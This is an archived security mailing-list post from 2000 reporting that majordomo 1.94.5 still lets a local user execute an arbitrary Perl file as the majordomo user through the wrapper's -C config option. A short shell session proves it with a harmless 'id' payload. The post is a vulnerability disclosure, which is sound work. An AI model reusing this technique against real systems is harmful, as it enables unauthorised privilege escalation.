majordomo 1.94.5 does not fix all vulnerabilities

From: Brock Sides (bsidesat_private)
Date: Mon Jan 24 2000 - 12:55:42 PST

  • Next message: harikiri: "VMware 1.1.2 Symlink Vulnerability"

    Whereas majordomo 1.94.5 does fix the bug in resend, discovered by Brock
    Tellier, that permits execution of arbitrary code as user majordomo, it
    apparently does not fix the other bug in the script majordomo, that
    permits execution of arbitrary config files as user majordomo:
    
    On a fresh install of majordomo 1.94.5 in /tmp:
    
    [brock@o2 /tmp]$ id
    uid=1116(brock) gid=1116(brock)
    [brock@o2 /tmp]$ ls -l ./id.pl
    -rwxr-xr-x    1 brock    brock         31 Jan 24 14:17 ./id.pl
    [brock@o2 /tmp]$ cat id.pl
    #!/usr/bin/perl
    
    system("id");
    [brock@o2 /tmp]$ ./majordomo-1.94.5/wrapper majordomo -C ./id.pl
    uid=1126(majordomo) gid=1(daemon)
    ./id.pl did not return a true value at /tmp/majordomo-1.94.5/majordomo
    line 47.
    [brock@o2 /tmp]$
    
    --
    Brock Sides
    Unix Systems Administration
    Towery Publishing
    bsidesat_private
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:31:02 PDT